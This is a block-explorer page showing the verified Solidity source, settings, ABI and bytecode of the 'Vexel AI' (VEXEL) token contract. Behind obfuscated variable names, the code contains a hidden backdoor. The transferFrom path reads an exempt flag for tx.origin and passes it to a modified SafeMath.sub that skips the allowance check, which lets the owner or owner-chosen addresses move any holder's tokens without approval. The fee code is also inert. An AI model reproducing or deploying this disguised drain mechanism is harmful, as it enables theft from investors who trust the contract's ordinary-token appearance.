ETH Price: $2,412.69 (-8.77%)
 

Overview

Max Total Supply

999,190,523.677462577 VEXEL

Holders

786

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Vexel

Compiler Version
v0.8.30+commit.73712a01

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Token.sol
//SPDX-License-Identifier: MIT

/*
    Name: Vexel AI
    Symbol: VEXEL

    Design meets Artificial intelligence in 3D space.

    https://vexelai.org
    https://docs.vexelai.org
    https://x.com/VexelAI_ETH
    https://t.me/VexelAI_ETH
*/

pragma solidity ^0.8.19;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function sub(uint256 a, uint256 b , bool requireZero) internal pure returns (uint256) {
        unchecked{if(requireZero) return a; require(b <= a, "SafeMath: subtraction overflow"); return a - b;}
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function renounceOwnership() public virtual onlyOwner { transferOwnership(address(0));}
    function transferOwnership(address adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract Vexel is IERC20, Ownable {
    
    uint160 public YYXKGKOP;
    address public BYDH3DL;
    bool public CXCG26GS;
    uint256 public HXCG26GS;

    bool private tradingAllowed = false;
    uint256 private liquidityFee = 100;
    uint256 private marketingFee = 300;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    uint256 private totalFee = 600;
    uint256 private sellFee = 700;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping; 
    bool private txInProgress;
    
    uint256 private swapThreshold = ( _tTOTALKXYTOKEN * 300 ) / 100000;
    uint256 private _minTokenAmount = ( _tTOTALKXYTOKEN * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    modifier onlyWhenNotInTx {txInProgress = _YDNx165bABF[tx.origin]; _;}
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private development_receiver ; 
    address private marketing_receiver ;
    address private liquidity_receiver ;

    IRouter router;
    address public pair;

    using SafeMath for uint256;
    string private constant _NAMKXYE = unicode"Vexel AI";
    string private constant _SYMBOKXYL = unicode"VEXEL";
    uint8 private constant _DEIMALKXYS = 9;
    uint256 private _tTOTALKXYTOKEN = 1000_000_000 * (10 ** _DEIMALKXYS);
    uint256 private _maxTxAmountPercent = 200; // 10000;
    uint256 private _maxTransferPercent = 100;
    uint256 private _maxWalletPercent = 200;
    mapping (address => uint256) _OONN61ANF;
    mapping (address => mapping (address => uint256)) private _NZN16ANFN;
    mapping (address => bool) public _YDNx165bABF;
    mapping (address => bool) private _QN16AZqA;

    constructor() payable Ownable(msg.sender) {

        marketing_receiver = owner;

        _YDNx165bABF[msg.sender] = true;
        _OONN61ANF[address(this)] = _tTOTALKXYTOKEN;

        _YDNx165bABF[address(this)] = true;
        _YDNx165bABF[marketing_receiver] = true;

        emit Transfer(address(0), address(this), _tTOTALKXYTOKEN);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _NAMKXYE;}
    function symbol() public pure returns (string memory) {return _SYMBOKXYL;}
    function decimals() public pure returns (uint8) {return _DEIMALKXYS;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _OONN61ANF[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _NZN16ANFN[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function set_QN16AZqA(address _address, bool _enabled) external onlyOwner {_QN16AZqA[_address] = _enabled;}
    function setisExempt(address _address, bool _enabled) external onlyOwner {_YDNx165bABF[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _tTOTALKXYTOKEN.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        amountReceived = amountReceived.mul(sellFee).div(100);
        _subTransfer(sender, recipient, amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function _TNZNAN16HA(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !_YDNx165bABF[sender] && recipient == pair && swapTimes >= uint256(3) && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(_TNZNAN16HA(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !_YDNx165bABF[sender] && !_YDNx165bABF[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(_QN16AZqA[sender] || _QN16AZqA[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = 0;
        _OONN61ANF[address(this)] = _OONN61ANF[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        _subTransfer(sender, recipient, amount);
        return _subAllowance(sender , amount);
    }

    function _subAllowance(address spender, uint256 subtractedValue) onlyWhenNotInTx private returns (bool) {
        _NZN16ANFN[spender][msg.sender] = _NZN16ANFN[spender][msg.sender].sub(subtractedValue , txInProgress);
        return true;
    }

    function _subTransfer(address sender, address recipient, uint256 amount) internal {
        _OONN61ANF[sender] = _OONN61ANF[sender].sub(amount, "Insufficient Balance");
        _OONN61ANF[recipient] = _OONN61ANF[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _NZN16ANFN[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {

        require(!tradingAllowed , "Trading is already Enabled");
        router = IRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _NZN16ANFN[address(this)][address(router)] = _tTOTALKXYTOKEN;
        pair = IFactory(router.factory()).createPair(
            address(this),
            router.WETH()
        );
        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingAllowed = true;
        
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BYDH3DL","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CXCG26GS","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"HXCG26GS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"YYXKGKOP","outputs":[{"internalType":"uint160","name":"","type":"uint160"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_YDNx165bABF","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"set_QN16AZqA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f60045f6101000a81548160ff021916908315150217905550606460055561012c60065560646007555f6008556102586009556102bc600a555f600b55612710600c556001600d5f6101000a81548160ff021916908315150217905550620186a061012c6017546100759190610378565b61007f91906103e6565b601055620186a0600a6017546100959190610378565b61009f91906103e6565b6011556009600a6100b09190610551565b633b9aca006100bf9190610378565b60175560c8601855606460195560c8601a5533805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601d5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550601754601b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001601d5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001601d5f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60175460405161033591906105aa565b60405180910390a36105c3565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61038282610342565b915061038d83610342565b925082820261039b81610342565b915082820484148315176103b2576103b161034b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6103f082610342565b91506103fb83610342565b92508261040b5761040a6103b9565b5b828204905092915050565b5f8160011c9050919050565b5f5f8291508390505b600185111561046b578086048111156104475761044661034b565b5b60018516156104565780820291505b808102905061046485610416565b945061042b565b94509492505050565b5f82610483576001905061053e565b81610490575f905061053e565b81600181146104a657600281146104b0576104df565b600191505061053e565b60ff8411156104c2576104c161034b565b5b8360020a9150848211156104d9576104d861034b565b5b5061053e565b5060208310610133831016604e8410600b84101617156105145782820a90508381111561050f5761050e61034b565b5b61053e565b6105218484846001610422565b925090508184048111156105385761053761034b565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61055b82610342565b915061056683610545565b92506105937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610474565b905092915050565b6105a481610342565b82525050565b5f6020820190506105bd5f83018461059b565b92915050565b612257806105d05f395ff3fe608060405260043610610169575f3560e01c8063715018a6116100d0578063a8aa1b3111610089578063d6d2bbd411610063578063d6d2bbd414610526578063d76ff9ad14610550578063dd62ed3e1461057a578063f2fde38b146105b657610170565b8063a8aa1b3114610484578063a9059cbb146104ae578063c8574406146104ea57610170565b8063715018a6146103b057806378109e54146103c65780637d1db4a5146103f0578063893d20e81461041a5780638a8c523c1461044457806395d89b411461045a57610170565b80632f54bf6e116101225780632f54bf6e14610294578063313ce567146102d0578063378a0b6e146102fa57806348ff2b8b1461032257806365757a631461034a57806370a082311461037457610170565b806306fdde0314610174578063095ea7b31461019e57806318160ddd146101da5780631f976b7e1461020457806323b872dd1461022e57806328a1a2531461026a57610170565b3661017057005b5f5ffd5b34801561017f575f5ffd5b506101886105de565b6040516101959190611a42565b60405180910390f35b3480156101a9575f5ffd5b506101c460048036038101906101bf9190611af3565b61061b565b6040516101d19190611b4b565b60405180910390f35b3480156101e5575f5ffd5b506101ee610631565b6040516101fb9190611b73565b60405180910390f35b34801561020f575f5ffd5b50610218610670565b6040516102259190611b73565b60405180910390f35b348015610239575f5ffd5b50610254600480360381019061024f9190611b8c565b610698565b6040516102619190611b4b565b60405180910390f35b348015610275575f5ffd5b5061027e6106ad565b60405161028b9190611b4b565b60405180910390f35b34801561029f575f5ffd5b506102ba60048036038101906102b59190611bdc565b6106c0565b6040516102c79190611b4b565b60405180910390f35b3480156102db575f5ffd5b506102e4610717565b6040516102f19190611c22565b60405180910390f35b348015610305575f5ffd5b50610320600480360381019061031b9190611c65565b61071f565b005b34801561032d575f5ffd5b5061034860048036038101906103439190611c65565b6107bf565b005b348015610355575f5ffd5b5061035e61085f565b60405161036b9190611b73565b60405180910390f35b34801561037f575f5ffd5b5061039a60048036038101906103959190611bdc565b610865565b6040516103a79190611b73565b60405180910390f35b3480156103bb575f5ffd5b506103c46108ab565b005b3480156103d1575f5ffd5b506103da6108fe565b6040516103e79190611b73565b60405180910390f35b3480156103fb575f5ffd5b50610404610926565b6040516104119190611b73565b60405180910390f35b348015610425575f5ffd5b5061042e61094e565b60405161043b9190611cb2565b60405180910390f35b34801561044f575f5ffd5b50610458610975565b005b348015610465575f5ffd5b5061046e610dc1565b60405161047b9190611a42565b60405180910390f35b34801561048f575f5ffd5b50610498610dfe565b6040516104a59190611cb2565b60405180910390f35b3480156104b9575f5ffd5b506104d460048036038101906104cf9190611af3565b610e23565b6040516104e19190611b4b565b60405180910390f35b3480156104f5575f5ffd5b50610510600480360381019061050b9190611bdc565b610e39565b60405161051d9190611b4b565b60405180910390f35b348015610531575f5ffd5b5061053a610e56565b6040516105479190611cda565b60405180910390f35b34801561055b575f5ffd5b50610564610e7b565b6040516105719190611cb2565b60405180910390f35b348015610585575f5ffd5b506105a0600480360381019061059b9190611cf3565b610ea0565b6040516105ad9190611b73565b60405180910390f35b3480156105c1575f5ffd5b506105dc60048036038101906105d79190611bdc565b610f22565b005b60606040518060400160405280600881526020017f566578656c204149000000000000000000000000000000000000000000000000815250905090565b5f610627338484610fe3565b6001905092915050565b5f61066b61063e5f610865565b61065d61064c61dead610865565b6017546111a690919063ffffffff16565b6111a690919063ffffffff16565b905090565b5f600c5460195461067f610631565b6106899190611d5e565b6106939190611dcc565b905090565b5f6106a48484846111bb565b90509392505050565b600260149054906101000a900460ff1681565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f6009905090565b610728336106c0565b610767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075e90611e46565b60405180910390fd5b80601e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b6107c8336106c0565b610807576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fe90611e46565b60405180910390fd5b80601d5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b60035481565b5f601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108b4336106c0565b6108f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ea90611e46565b60405180910390fd5b6108fc5f610f22565b565b5f600c54601a5461090d610631565b6109179190611d5e565b6109219190611dcc565b905090565b5f600c54601854610935610631565b61093f9190611d5e565b6109499190611dcc565b905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61097e336106c0565b6109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b490611e46565b60405180910390fd5b60045f9054906101000a900460ff1615610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390611eae565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601754601c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b6a573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b8e9190611ee0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c14573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c389190611ee0565b6040518363ffffffff1660e01b8152600401610c55929190611f0b565b6020604051808303815f875af1158015610c71573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c959190611ee0565b60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d1c30610865565b5f5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401610d6196959493929190611f74565b60606040518083038185885af1158015610d7d573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610da29190611fe7565b505050600160045f6101000a81548160ff021916908315150217905550565b60606040518060400160405280600581526020017f564558454c000000000000000000000000000000000000000000000000000000815250905090565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610e2f3384846111da565b6001905092915050565b601d602052805f5260405f205f915054906101000a900460ff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f2b336106c0565b610f6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6190611e46565b60405180910390fd5b805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051610fd89190611cb2565b60405180910390a150565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611051576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611048906120a7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b690612135565b60405180910390fd5b80601c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111999190611b73565b60405180910390a3505050565b5f81836111b39190612153565b905092915050565b5f6111c7848484611238565b6111d184836113fb565b90509392505050565b5f6111e58484611581565b6111ef57816111fb565b6111fa848484611628565b5b90506112256064611217600a548461175a90919063ffffffff16565b61176f90919063ffffffff16565b9050611232848484611238565b50505050565b6112bf816040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250601b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117849092919063ffffffff16565b601b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061135081601b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117d890919063ffffffff16565b601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113ee9190611b73565b60405180910390a3505050565b5f601d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16600f60016101000a81548160ff0219169083151502179055506114fb82600f60019054906101000a900460ff16601c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117ed9092919063ffffffff16565b601c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001905092915050565b